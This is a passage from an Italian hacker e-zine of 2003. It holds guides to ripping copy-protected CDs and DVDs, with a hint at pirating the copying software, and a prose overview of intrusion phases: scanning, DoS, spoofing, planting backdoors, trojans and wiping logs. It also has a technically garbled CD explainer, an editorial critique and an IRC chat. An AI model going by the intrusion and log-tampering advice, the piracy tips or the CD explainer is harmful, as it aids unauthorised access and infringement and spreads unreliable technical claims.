l'interfaccia è diventata finalmente MOLTO + intuitiva, quindi la cosa da fare sara questa: 1) Aprite CloneCD 2) Scegliete Crea File Immagine (quell'immagine con il cd e accanto gli occhiali, all'estrema sinistra) 3) Scegliete il lettore cd che avete 4) Inserite il cd da copiare e cliccate su avanti 5) Scegliete Protected PC Game 6) Scegliete le varie impostazioni ke volete e via! A questo punto, siamo pronti per procedere alla fase di masterizzazione. 1) Aprite CloneCD 2) Scegliete Scrivi da File Immagine (l'immagine del cd con la matita) 3) Scegliete il posto dove avevate salvato il file immagine in precedenza e se volete ke ve la cancelli a scrittura completata, scegliete l'apposita casella. 4) Ora scegliete la velocita di scrittura (non troppo alta, è meglio, diciamo al max 24x) 5) Enjoy! Bene, diciamo ke per ora l'argomento è kiuso, nel caso ci fossero aggiornamenti ve li faro sapere con una II parte della guida... Se avete il nome di qualke buon hub di Direct Connect, mi volete mandare a quel paese, fare critiche costruttive, il mio indirizzo email è Macro_Six3@hotmail.com Ringraziamenti: Io Io Io Io Io vabbe basta dire caxxate, seriamente: Caligola Cyberdude (anke se attualmente ancora non lo conosco :) KoRnuto (ke mi ha corretto il tutto) Unrelated (per l'aiuto che mi ha dato) a tutta la crew di IL...e in particolare a mia Madre, ke mi ha messo a questo Fuckin' Mondo :DDD Byezzz, ALLA PROXIMA! Guida scritta interamente da Graftal il 09/06/2003, tutti i diritti riservati. <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> Cioè come copiarsi un DVD! _____________ |iMPORTANTE!| Questa guida è stata fatta con il solo ed unico scopo di spiegare come farsi una copia *LEGALE* di backup. Questa andrà fatta *SOLO ED ESCLUSIVAMENTE* se si possiede la copia originale. Inoltre, la copia di backup deve usata a scopo strettamente personale. Huh, e un'altra guida sta per avere inzio... Premetto che questa guida servirà più ai nuibbi che ad altri, ma la fase pratica chissa ke non serva anke a qualcun altro. Vabbe, vabbe, partiamo su! Eccovi l'indice: 1) Teoria sul DVD (da non sottovalutare) 2) Struttura di un DVD 3) Programmi che ci serviranno e le loro qualità 4) Mettiamoci al lavoro! Facciamoci il DVD! 5) Usare Pinnacle Instant Copy Ok, cominciamo: 1) Teoria Come avete sicuramente notato, non è da molto tempo ke il dvd ha cominciato a diffondersi nelle case italiane, colpa anke dei masterizzatori molto cari, come anke i dvd vergini ecc ecc. I prezzi stanno cmq calando e finalmente ci possiamo dedicare alla copia di un film dvd su di un dvd vergine. La scritta 4.7 gb data presente sulle scatole dei vergini, in realtà equivalgono a 4,3 gb effettivi. Cio è molto importante, infatti i dvd prodotti industrialmente possono essere a doppia faccia e/o a doppio strato. In questo modo, si riescono a registrare circa 9 gb di dati. Per fortuna esistono programmi che in automatico "comprimono" la qualita del dvd in modo ke possa starci su di uno da 4.3 gb. Ovviamente la qualità ne risentira ma si puo per esempio togliere qualke traccia aiudio, magari dei contenuti extra per liberare un po di spazio. Ma ora veniamo alla parte del dvd secondo me + interessante, ovvero le protezioni anti-copia ke utilizza: prima di tutto, un dvd è protetto da un sistema kiamato CSS che codifica una parte del dvd in modo ke solo il lettore ottico possa decifrarlo per poi riprodurre il film. Ma pensate a cosa succederebbe se qualcuno facesse leggere il dvd e una volta che il lettore ha superato la codifica, riversasse tutto si di un vhs? Beh, la risposta mi pare semplice, e per ovviare a questo problema cosa hanno fatto quei mattacchioni ke hanno inventato le protezioni? Hehe, hanno messo delle interferenze invisibili ad un televisore ma non ad un vhs...Va 'sti furbastri! Ma noi ovviamente lo siamo + di loro e grazie ad un paio di strumenti possiamo cavarcela egregiamente (rifarsi alla sezione numero 3). Prima di tutto, sappiate (se non siete proprio rimbambiti) che è sempre meglio fare le prove con un dvd rw, in modo da poterlo cancellare e riscrivere quante volte volete (sempre ke non vogliate spendere un patrimonio in dvd r). Dopo questo piccolo appunto, possiamo anke passare a vedere come è strutturato un DVD. 2) Struttura di un DVD Allora, il DVD ha una struttura abbastanza complessa, ma cerchero di essere il + kiaro possibile: La root del dvd contiene due cartelle principali, VIDEO_TS e AUDIO_TS (a meno ke contenga anke programmi, ma per ora ci soffermiamo su di un DVD preso a modello). Ora, all'interno della cartella VIDEO_TS troviamo (ovvio -.-) i file video, suddivisi in 3 file principali, .ifo .bup e .vob. Allora, vediamo di analizzarli in dettaglio: ..ifo: contengono le informazioni relative alla navigazione del dvd, i vari stream audio e video ecc... ..bup: tutti i file .bup sono semplicemente delle copie di backup dei file ..ifo, e non sono criptate. ..vob: contengono i dati veri e propri, stream audio, video, sottotili ecc ecc e grazie al file .ifo li legge correttamente Questi tipi di file vengono kiamati multiplexed. I file ke troveremo in VIDEO_TS saranno percio tre file kiamati VIDEO_TS.ifo, VIDEO_TS.bup e VIDEO_TS.vob ke generalmente contengono le informazioni di copyright e/o dei menu. Gli altri file ke troviamo sono VTS_XX_X.ifo, .bup e .vob dove la prima coppia di "X" indica il numero del titolo: i dvd infatti contengono svariati titoli, uno di questi contiene il film vero e proprio, mentre gli altri gli eventuali contenuti speciali. L'ultima "X" indica invece la successione nella quale devono essere riprodotti, dato ke, essendo il file system FAT, non possono contenere file superiori al GB. Nel caso dei file .ifo e ..bup, la "X" finale è sempre uno zero, come per il caso di UN solo file .vob ke contiene i menu. Esempio: VTS_01_0.ifo VTS_01_0.bup VTS_01_0.vob ----------- questo file contiene il menu 3) Programmi che ci serviranno e le loro qualità Prima di tutto ci serve un ripper che ci porti tutto il dvd sul disco fisso. Useremo SmartRipper, lo potete trovare al sito www.doom9.org/sr.htm. Una volta preso il programma ci servira anke Pinnacle Instant Copy, ke in realta si compra in negozio, ma anke voi state pensando a cio ke penso io no? ;) A questo punto, siamo pronti per passare all'azione! 4) Facciamoci la copia del DVD!! 1) DVD da 4,3 gb non protetto Questo capita solo nel caso di film "datati". Qui il programma di Pinnacle va liscio come l'olio e il risultato sarà un dvd perfettamente copiato. 2) DVD da 4,3 gb protetto Ed ecco ke qui entra in gioco SmartRipper. Prima di tutto facciamo (ovviamente) attenzione ad avere abbastanza spazio libero, (si consigliano 10/15 gb) ed apriamo smart ripper. Qualora incontrasse difficolta nell'aprire il dvd, usiamo un piccolo trucchetto, hehe: apriamo il programma ke usate abitualmente per vedere dvd, e successivamente smartripper, in modo da saltare il blocco protetto. Bello eh? :) A questo punto, senza addentrarci troppo nei particolari, selezioniamo i due pulsanti "all" che troveremo affianco delle due finestre "chapters" e "cells". Ora per essere sicuri di aver selezionato tutto, clicchiamo su files, posto al lato della schermata principale e controlliamo il segno di spunta su ogno file. Sotto scegliamo il posto nel quale vogliamo salvare i file, dopodiche clicchiamo sul pulsante start (schermata principale a sinistra). Ora in base alla velocita del pc, il tempo impiegato passera dalla mezzora a tempi mooolto + lunghi, quindi mettetevi comodi :) Appena finito il tutto, controlliamo ke ci siano tutti i file nella cartella da noi selezionata e dopo apriamo instant copy per procedere alla masterizzazione. 3) DVD superiori a 4,3 gb In questo casa bisogna fare esattamente come sopra, avendo pero l'accortezza di controllare se il dvd ha due facce, perke se così fosse, allora bisogna ripparlo due volte, una prima volta per la prima faccia e poi un'altra per la seconda faccia. A questo punto apriamo instant copy e passiamo all'azione. 5) Usare Pinnacle Instant Copy Nel caso in cui avete copiato un dvd da 4.3 gb su HD, non basta fare altro ke trascinare i file nel dvd tramite la intuitiva schermata di PIC, eventualmente personalizzando la copia con le opzione che si trovano al di sotto della schermata.Se invece il dvd è superiore a 4.3 gb, andando nella sezione di impostazioni avanzate possiamo anke dirgli di togliere di mezzo lingue come croato, serbo ecc che non ci possono servire, in modo da snellire il tutto. Andiamo anke a scegliere qualcos'altro dalle impostazione se vogliamo, altrimenti se non siamo molto esperti di masterizzazione scegliamo le impostazioni automatiche, che possiamo magari modificare quando saremo + esperti per rifinire certi parametri. A questo punto siamo pronti per partire. Avviamo il processo di masterizzazione e prendiamocela comoda, perke per un dvd da 7 gb di impiega circa 2 ore. Enjoy! Ebbene, la guida is over! Per presentarmi una bella gnocca, l'indirizzo email è sempre lo stesso, Macro_Six3@hotmail.com Life is one, FUCK IT! Ringraziamenti... Caligola (così, senza motivo) Cyberdude (perke pubblica cio ke scrivo) KoRnuto (perke è l'unico ke conosco di persona) Spirit (senza motivo anke per lui) e tutti quelli della crew, COMPRESO ME! ALLA PROXIMA! Guida scritta interamente da Graftal il 10/6/2003, tutti i diritti riservati. <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> CENNI D'INFORMAZIONE SUI CD's Sicuramente avete dato un'occhiata a un CD, avete visto che è una specie di 'cosa' rotonda dove ci si può specchiare, con un buco in mezzo... mostramovi mo com'è fatto un CD vergine _________________________________________________ ___|> Primo strato specchiato _________________________________________________ ___|> Secondo strato contenente i dati _________________________________________________ ___|> Terzo strato di plastica di protezione e vediamo invece com'è fatto il CD masterizzato _________________________________________________ '--' '--' '-' '---' '-' '----' '--' '----' '-' ___|> Secondo strato a bits ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ non è molto complesso come meccanismo, in pratica, i bit contenuti da '-' valgono '1'mentre i bit fra '¯' valgono 0 in pratica, usano il codice binario, ogni bit va illuminato dalla testina laser e in base al ritardo del MILLISECONDO, vengono contati come 0 o 1, grazie allo strato specchiato... capit? non statemi a chiedere a quanto ammonta il ritardo del ritorno del raggio laser... perché è una domanda abbastanza idiota :) nei Cd audio, il concetto è diverso. invece dei Bit, viene visualizzata la sinusoide della frequenza (quella standard è 44100) spero di capirmi con un bel disegno ASCII /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ / \ / \ / \ / \ / \ / \ / \ / \ | | | | | | | | | | | | | | | | / \ / \ / \ / \ / \ / \ / \ / \ / \__/ \__/ \__/ \__/ \__/ \__/ \__/ \ e così continua, questa linea, comporta la frequenza della canzone. La lettura di questa frequenza dice al lettore come fare il suono e poi, esce fuori dalla vostra bella cassa il suono... nel caso in cui il CD fosse rigato, il computer, che non dispone di un tipo di 'cosa' che permette il registratore Hi-Fi o il lettore cd portatile, o lo stereo, cioè il ricostruttore delle onde frequenziali, salta quel pezzo dove il cd è rigato e arriva direttamente all'onda che c'è dopo, quindi si tratta di 1 quarantaquatromilacentesimo di secondo. La ricostruzione della sinusoide, è molto semplice... la testina legge la sinusoide... /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ / \ / \ / \ / \ / \ / \ / \ / \ | | | | | | | | | | | | | | | | / \ / \ / \ / \ / \ / \ / \ / \ / \__/ \__/ \__/ \__/ \__/ \__/ \__/ \ ora facciamo la sinusoide rigata... /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ / \ / \ / \ / / \ / \ / \ / \ | | | | | | | | | | | | | | | | / \ / \ / \ / \ / \ / \ / \ / \ / \__/ \__/ \__/ \__/ \__/ \__/ \__/ \ credo che notiate il cambiamento... lo stereo, guarda in che punto è che finisce il segmento 'A' e il punto dove inizia il segmento 'B' chiariamoci un po'... A /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ /¯¯\ / \ / \ / \ / / \ / \ / \ / \ | | | | | | | |B | | | | | | | | / \ / \ / \ / \ / \ / \ / \ / \ / \__/ \__/ \__/ \__/ \__/ \__/ \__/ \ o meglio ancora: \ A | B e così costruisce da solo il segmento mancante unendo il punto A col punto B dando il segmento 'C' \ A \ C <--------- Segmento ricostruito | B Capit? Mentre invece, il computer non possiede 'sta roba della ricostruzione della sinusoide e quindi, si arrangia saltando il quarantaquattromilacentesimo di secondo... mi piace scriverlo... QUARANTAQUATTROMILACENTESIMO!!!! :))))))) bien, this is all punks! byezz KoRnuto <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> ---------------------- L'operato di un hacker ---------------------- NEXUS ---------------------- Ciao a tutti, come vi passa? Siete riusciti fin'ora a compiere un exploit? Beh, io qualcosa saprei farla, ma non mi basta ed allora ho studiato un pò, diciamo dai primi passi che compie un hacker. Innanzitutto dobbiamo vedere da cosa è spinto un hacker a compiere "atti vandalici" e le motivazionni sono molteplici. Vi sono motivazioni comuni quali ad esempio il desiderio di ottenere un'alta carica in una crew, spesso vi sono anche motivazioni economiche come furti di numeri di carte di credito per profitto personale, a volte un hacker è spinto da motivazioni ideologiche e cioè per far valere i propri ideali in rete e lo fa attaccando siti contrari alla sua ideologia, ma a volte si è spinti anche al fine di progredire lo sviluppo nel campo dell'hardware e del software. Non so se lo sapete o meno ma l'azione dell'hacker nel tentativo di compromettere un sistema viene chiamata "ExPlOiT" che consiste di solito nel guadagnare un accesso, semplificare le procedure di login del sistema, ottenere informazioni riservate e mettere fuori uso il sistema stesso. In poche parole, il termine exploit non vuol dire altro che l'attacco ad un punto debole di un sistema.Sono vari i modi di un sistema ma le procedure di base sono sempre le stesse. Solitamente si inizia da una raccolta di informazioni sul sistema e sul soggetto, sul nome dei domini e in generale sui sistemi di cui la ditta vittima dispone come gli IP assegnati. Dopo aver accumulato una certa quantità di informazioni si passa ad una fase di tipo invasivo nella quale si cercherà di determinare quante più cose possibili come porte aperte, i sistemi operativi, la presenza di firewall o il modello del router installato dopo di che si passerà a tutte le possibili modalità di attacco al sistema operativo, alle applicazioni, agli script o alle configurazioni eventualmente scorrette impostate sul sistema. A questo punto se si è riusciti a compiere un exploit si cercherà di mantenere un accesso al sistema installando una backdoor o definendo semplicemente un nuovo account. Infine bisogna eliminare ogni traccia dell'attacco sul sistema ripulendo o manomettendo fino dove è possibile i file di log. E' chiaro che se non si è riusciti a compiere alcun exploit bisognerà ricominciare da capo o abbandonare. Ora voi direte:in teoria più o meno ci sono ma se lo voglio mettere in pratica da dove cazzo comincio. E secondo voi io, che ci sto a fare?Cominciamo a raccogliere informazioni, vedendo se la nostra vittima ha un suo sito e quindi ricavare informazioni all'interno del codice HTML ma la maggior parte di informazioni la possiamo ottenere grazie alle organizzazioni che registrano i nomi di dominio infatti possiamo risalire ai nomi dei soggetti, ai loro domini, ai contatti amministrativi, tecnici e di zona, indirizzi e-mail oltre agli indirizzi IP dei loro server DNS. Ora per avere informazioni sui domini .it clicchiamo sul sito www.nic.it invece per avere informazioni sui domini .com,.org,.net,ecc. bisogna cliccare sul sito www.networksolutions.com . Un hacker può utilizzare anche appositi tools i quali ci permettono di conoscere l'indirizzo IP e i record associati. Uno dei tools più utilizzati è SamSpade che lo troviamo sul sito www.blighty.com . Ora, dopo aver raccolto queste informazioni passiamo ad una ricognizione di tipo invasivo, fase determinante dove si possono ottenere le informazioni che ci permettono di attuare il nostro exploit ma che allo stesso tempo è pericolosa perchè si corre il rischio di essere identificati. Dovremmo, adesso, determinare quali siano i sistemi attivi sulla rete ed abbiamo bisogno di NMAP che lo troviamo sul sito www.insecure.org, il quale è un analizzatore di porte e che ci permette di utilizzare software in grado di interrogare contemporaneamente un range di IP come PingWar che si trova su www.fantastica.com/digilex. Per capire invece se la vittima è connessa ad internet attraverso un router o se vi è la presenza di un firewall possiamo utilizzare Visualroute dal sito www.visualroute.com . Tra i sistemi e la rete vi sono punti di transito chiamati porte, le quali più ne troviamo aperte più elevata è la vulnerabilità di un sistema. Per scoprire eventuali porte aperte utilizzeremo i Port Scanner tra cui ScanPort che lo troviamo sul sito www.dataset.fr/scanport.html . Venuti a conoscenza dei sistemi attivi con relative porte aperte dobbiamo capire di che sistema operativo si tratta e lo faremo utilizzando Queso, che troviamo su www.apostols.org/projectz/queso/ dopo di che bisogna determinare quali servizi sono assegnati a ciascuna porta e lo faremo con Internet Security Scanner prelevandolo dal sito www.ISS.net o ancora potremmmo utilizzare Cyber Cop Scanner che preleveremo dal sito www.sniffer.com Entrati in possesso di tutte queste informazioni possiamo passare all'attacco. Gli attacchi si dividono in due tipi: attivi e passivi. Con gli attacchi attivi si intraprende un'azione diretta per accedere alle informazioni che si cercano, gli attacchi passivi invece, sono di solito azioni atte a raccogliere informazioni piuttosto che ottenere l'accesso al sistema e che oltretutto lasciano meno tracce. Come via d'ingresso in un sistema possono essere utilizzate diverse forme di attacco, come il blocco dei servizi, lo Spoofing, l'attacco al sistema operativo e alle applicazioni. Uno degli attacchi più temuti è quello di tipo DoS ovvero Denial of Service che porta al blocco parziale o totale del sistema e impedisce agli utenti di accedervi ma l'hacker può decidere anche di coordinarsi con altri hacker per distribuire su più macchine sparse per la rete il compito di effettuare un attacco DoS verso un unico obiettivo, a questa tecnica le viene attribuito il nome di Distributed Denial of Service indicato con la sigla DDoS. Oltretutto questo attacco può sfruttare anche gli zombie che sarebbero sistemi inconsapevoli di prendere parte all'attacco. Questi sono attacchi pericolosi e se poi vengono abbinati a tecniche di Spoofing risulta impossibile rintracciare il responsabile perchè con quest'ultimo si indica l'atto di assumere identità altrui e consiste nel falsificare il proprio indirizzo IP o protocolli come TCP,UDP,ICMP per assumere un'altra identità. Per mettere in atto lo Spoofing l'hacker si avvale anche di altre tecniche con le quali è in grado di determinare l'ordine dei pacchetti all'interno di un flusso di dati e indicare una ricezione riuscita delle informazioni in modo da dirottare la sessione del traffico TCP, per una lettura e modifica al volo, e si può anche intercettare tutto il traffico di rete attraverso software di Sniffing e uno dei più comunemente usati è Ethereal che si trova sul sito www.ethereal.com Un altro modo per guadagnare l'accesso ad un sistema è il Buffer Overflow che sarebbe l'errore nel quale incorre un software realizzato in modo non corretto che porta all'arresto dell'applicazione immediatamente. Esiste un elevato numero di attacchi e la sezione Bagtraq sul sito www.securityfocus.com ci segnala ogni tipo di bug o vulnerabilità riscontrata sui sistemi operativi o sulle applicazioni in genere. Una volta violato il sistema,un hacker vi installa una backdoor per tornarci in piena tranquillità. Una backdoor può essere la sostituzione di un file di sistema con un altro appositamente modificato, per esempio si può sostituire il demon che elabora le richieste di accesso alla rete, in questo modo il demon modificato funzionerà esattamente allo stesso modo, ma quando si collegherà chi lo ha cambiato, lo riconoscerà e gli attribuirà i permessi di amministratore. Un altro modo consiste nell'inviare un programma chiamato "Cavallo di Troia" o Trojan come file allegato alle e-mail che installa un software per il controllo remoto. A questo punto l'hacker non deve fare altro che evitare di essre rintracciato, quindi è d'obbligo cancellare i file dei registri o i file di log, ma state attenti perchè cancellare l'intero contenuto dei file di registro potrebbe creare qualche sospetto. Con questo è tutto, spero di esservi stato di aiuto, byez. Nexus <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> CRITICHE E COMPLIMENTI Ok, meglio. Meglio assai. GLi articolo sono piu' interessanti e parzialmente meglio scritti. Rimangono comunque, a mio parere, delle pecche su cui lavorare. > COERENZA Ragazzi, coerenza. Non potete formattarmi il n.0 in un modo e il n.1 in un altro...cercate un po' di coerenza! cercate di irrigidire la formattazione degli articoli in una struttura uguale per tutti es titolo: ---------------------------------------------------------------------- Titolo - Autore (mail@mail.com) ---------------------------------------------------------------------- es indice: 1. parte 1 2. parte 1 ecc. es sottotitolo: - Sottotitolo 1 ecc. voi fateli come vi pare...ma che siano SEMPRE cosi' nel corso di un numero, e nel corso di TUTTI i numeri...se no rischiate di confondere il LETTORE ! nel num 1 non so dove iniziano e finiscono gli articoli ed e' inutile perdere tempo cosi'! da evitare: ------------------------------------------------------------------------------- ------------< Exploit ASP >---------------------------------------------------- ------< Sono Admin??? Buhahahaha>---------------------------------------------- |------------------------------------------| | Bypassare l'autenticazione in iisPROTECT | |------------------------------------------| ___COME VEDO UN SITO OSCURATO?____________________________________________ KoRn ------------------------------------------------------------------------------- IPSPOOFING in C++ ecc... > SERIETA' CON SIMPATIA E' inutile che scrivete mille disclaimer e 3000 motivazioni per le quali avete scritto l'articolo o vi accingete a scriverlo...fate un indice dei contenuti all'inzio dell'articolo ...cosi' il lettore capisce subito e voi non perdete tempo a scrivere roba lunga e inutile. In oltre ripeto la solita cosa dell'altra volta: siate SERI e SIMPATICI. Ossia: se volete fare 2 battute, FATELE, ma non decadete in righe di stronzate prive di contenuti perche' distraggono dalla lettura e dai contenuti. Ah...poi non scrivete tutte le "q" come "k"...e' roba che si fa in chat per abbreviare...ma in un articolo...MI CONFONDONO. da evitare: Ringrazio tutti i miei veri amici Syscall, IfConfig`, harada, Pit, acidi`, xin, lordfelix, e in particolare una persona che mi ha fatto sentire importante Grazia, grazie tesoro anche se nn lo sono mai stato per te ... ------------------------------------------------------------------------------- _____ ___ ____ _____ ___ _ | _ \ / _ \ / __| / ___| / _ \ | | | |_| | / /_\ \ | |_ | / / /_\ \ | | | ___/ | _ | \__ \ | | | _ | | | | | | | | | ___| | | \___ | | | | | |___ |_| |_| |_| |____/ \_____| |_| |_| |_____| (minchia come m'incista far 'sti disegnini!) tutto chiaro? spero di sì. CIAO PIPOL = SCIT alla proxima KoRnuto & Macro Six³ A thanx to: Macro Six³ Deazy07 LordLothar Ollover Caligola Cyberdude Mithenks (sei sempre fra noi!!!) Hackhertz Rioma |0z| Kitsune-Chan Jert Tutti i frequentatori di #programming A fuck to: Darkell ]M4DyZ[ Tangela Lex TFV Link- (anche se è un bot) il gatto del mio vicino (Filippo) Roy- Marko (perennemente away) Steve (perennemente [out]) byezz ------------------------------------------------------------------------------- ____________________________________________________________________________ | MMMMMMM RRRRR ILLLLI MMMMMMM VI KI NN NNN NN MMMMMMMM | | CLILILI R O IA AI CLILILI VI KI NN NNNN NN CLILILIL | | CI R O IA AI CI VIKI NN NN NN NN CI | | CI RUUUH :AAIIIIAA: CI VIKI NN NN NN NN CI MMMM | | CI R GI AI IA CI VI KI NN NN NNNN CI NN | | CLILILI R GI IA AI CLILILI VI KI NN NN NNN CLILILIL | | MMMMMMM R GI IA AI MMMMMMM VI KI NN NN NN MMMMMMMM | ____________________________________________________________________________ by Macro SiX³ _____________ |iMPORTANTE!| Tutto cio ke troverete qui è *SOLO ED ESCLUSiVAMENTE* a scopo informativo e non mi assumo *NESSUNA* responsabilità dell'uso ke ne potete fare, quindi se il programma vi piace, *COMPRATEVELO*! Altrimenti sappiate ke state facendo qualcosa di illegale e potreste essere perseguiti legalmente. -e-zine------------n.01--- ________ __________ /_______/| /_________/| | | | | | | | ____|/ |___ __|/ | | |__ | | | | |/___/| | | | | | | | | | |______|/ |__|/ CYBERDUDE TUTORIAL ________(¯`·.¸¸.->www.tailot.cjb.net<-.¸¸.·´¯)_________________________________ ecc... > IL SITO Ma chi e' quello che gestisce il sito ? Ragazzi e' ECCESSIVO! MI ripeto: provate a fare una pagina sola di contenuto senza grafica e pagine introduttive...una cosa semp'lice che renda l'idea dei contenuti.... e' inutile che mi mettete tutti quegli sfondi orripilanti, bianco su nero ... della serie "siamo noi gli hack" e poi...TOGLIETE LA MUSICA...e' inopportuna e lenta... cosi' come quei 3000 frame INUTILI. Ah, fatevi un logo serio e ripetetelo (SEMPRE UGUALE) nella zine... cosi' vi farete un nome che rimmarra' impresso. > NOTE - Un articolo da prendere come esempio e' quello di Korn, IPSPOOFING in C++: serio, rapido, riassuntivo, senza fronzoli. - Non perdete tempo con la versione PDF....che secondo me la usano in pochi. Scusate se sono stato spreciso, ma ho poco tempo... le cose che mi verranno in mente, ve le diro' poi...sempre che vi interessino. Spero che seguiate i miei consigli. - inkompatible - (su irc come inkompatible o inkompatible_) <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> --< PHILOSOPHY UNDERGROUND >------------------------------------------ Questo non è un tutorial ma è della serie "rimani ok!" se sei Ok! :-D... qui vi ho pastato una discussione che ho avuto con Antonio fatevi una idea, dell'etica e del tutto in generale... :-) Session Start: Sat Jun 14 17:51:46 2003 Session Ident: Anto1 Session Ident: Anto1 (sasi@Azzurra=487F68DD.pool80117.interbusiness.it) c 6 ? si toglimi la curiosità, conosci ^@diavoletta@^ ? ATTACCO DI PANICO hiihih chi cazzo sei? si kmq... ho visto il tuo defacement (sempre se sei tu ) su www.zone-h.com si si sono io... kmq lascia stare non defaccio + niente... ho dedicato solo quella lamerata a diavoletta perchè voleva vedere se era vero quello che gli dicevo... kmq sono io Lord Unrelated Lodeguns ORA MI PAREA ADDOSSO... che nickone io sono semplicemente Antonio per caso il tuo cognome incomincia con la V? No è la prima volta che uso azzurra come server irc per salutare un amico e ho visto che c'eri anche tu DOMANDINE PER CAPIRE CHI BIP E'... di solito in che server stai? chi è l'amico che volevi salutare? e cosa vuoi da me :-D AH BENE... MENO MALE... QUERIAMO MARSIO MArsio da te niente il server è irc.tin.it bene sai sono sempre scostante con chi non conosco... fai bene senti marsio non è vero che lo conosci PHILOSOPHY UNDERGROUND cmq sono uno a cui piace l'informatica profonda, il funzionamento delle cose + che il loro utilizzo ora mi sono informato.... ha detto che è la prima volta che ti vede... si è vero ma lo stavo cercando a lui e mi sei spuntato anche tu mi intrigava sta cosa UIHA ah ho capito kmq mi ha fatto piacere conoscerti! anche a me sapere che c'è una "associazione" di "hacker" italiani anto... tu sei un hacker? no sono uno a cui piace l'informatica e cerca di capire sempre qualcosina in + giorno per giorno bene perchè qui nessuno è hacker... :-) nemmeno io... siamo persone che studiamo e che sperano di diventarlo i cosidetti wannabe se non erro ;) no siamo una via di mezzo per essere hacker dobbiamo sapere tutto... no sappiamo qualcosa ma non tutto per adesso siamo lamer... anche se di solito è dispreggiativo infatti chi si definisce hacker è per lo + un lamer io sapevo che lamer era dispreggiativo per questo è meglio frenare... diciamo che siamo NEWGUYS NEWbies e gli hacker sono oldguys un attimo che vado al cesso ... io sono abbastanza old ma non hacker ;) allora buchi pure tu? hihi .... le noci di cocco ... no che hai capito old perchè ho 23 anni ma non hacker ;) le noci di cocco ho detto... :-) sai quanti anni ho io... certo l'arnese c'è per bucalre però non ci ho mai provato ahahahaha devono essere dure ahah penso circa 16 - 17 bravo 17... come mai ti sei messo proprio ora a crecare qualcosa che altrove non c'è? cioè perchè proprio adesso ti è venuto voglia di esplorare e di capire... curiosità ma lo facevo già a 17 anni perciò sono andato sul sicuro riguardo la tua età :-D è l'età del voler fare, del voler creare e di inalzare le prorie conoscenze mi sa tanto che sei un vero hacker tu.... :-) e che mi stai prendendo per i fondelli... hihih io penso che definirsi hacker significa che ci si è scocciati di portare avanti ricerche e nuove conoscenze significa morte celebrale fermarsi e sedersi sulle proprie conoscenze logico... ma pensa pure che alcuni grandi studiano sempre e se stanno al passo coi tempi.... credo che si possano chiamare hackers.. giusto? esatto non fermarsi mai e non scocciarsi mai di apprendere nuove cose :-D la discussione poi si è piegata su altri fatti scambio di siti di programmazione e cose del genere... --< END LOG >--------------------------------------------------------- <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> ------------------------------------------------------------------- +----------------------------------------------------------------------------+ | Hanno contribuito alla stesura di questo numero : Cyberude, Tailot, | | unrelated, Marsio, LeonHack, Branton, Loxeo, BlackSword, _-PaKi-_, | | {N}oRt{ON}, iNs3cT-, Dejavu, ph|l|pp3, Brnocrist, Inkompatible_, Graftal | | Kornuto, Nexus85, [Evil], BigAlex | | Importante il contributo di Caligola ... grazie amico !! | +----------------------------------------------------------------------------+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +----------------------------------------------------------------------------+ | Se vuoi scrivere anche tu per informazionelibera manda i tuoi articoli a | | CYBERDUDEMAIL@LIBERO.IT , se verranno ritenuti idonei potrai leggerli nel | | prossimo numero della e-zine underground italiana!! | +----------------------------------------------------------------------------+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +----------------------------------------------------------------------------+ | INFORMAZIONELIBERA N02 FINISCE QUI... DIAMO APPUNTAMENTO AI LETTORI A| | SETTEMBRE PER LA PROSSIMA USCITA!! INFORMAZIONELIBERA CREW ;)| +----------------------------------------------------------------------------+ +----------------------------------------------------------------------------+ | | | MMMMMFVMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM | | MMMM" :MMMMMMMMMMMMMMMMMFTMMMMMMMMMMMMMMMMMMM[E-zine n02]MMMMMMMMMMMM | | MMMML QMMMMMMMMMMMMMMM" TMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM | | MMMMM_ TMMMMMMMMMMMMMF" `MMMMMMMMMMMMMMF"TMMMMMMMMMMMMMMMMMMMMMMMMM | | MMMMMML 'NMMMMMMMMMMML [MMMMMMMMMMMMF *MMMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMb NMMMMMMMMMMF ~MMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMc TMMMMMMMMMM .-q#_ [MMMMMMMMMM" )AMMMMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMb `MMMMMMMMM" a#MMMn :MMMMMMMMMF q#MMMMMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMM_ MMMMMMMMM gMMMMMM `QMWWWWWMM" )#MMMMMMMMMMMMMMMMMMMMMMMMMMM | | MMMMMMMML MMMMMMMML 